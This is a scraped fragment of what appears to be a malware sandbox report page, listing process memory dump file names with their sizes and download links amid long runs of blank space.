                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • memory/2168-6412-0x0000000000400000-0x000000000048C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            560KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • memory/2168-10352-0x0000000000400000-0x000000000048C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            560KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • memory/2168-10353-0x0000000000400000-0x000000000048C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            560KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • memory/2168-10354-0x0000000000400000-0x000000000048C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            560KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • memory/2168-10356-0x0000000000400000-0x000000000048C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            560KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • memory/2512-10361-0x000000001B610000-0x000000001B8F2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2.9MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • memory/2512-10362-0x0000000002260000-0x0000000002268000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            32KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Download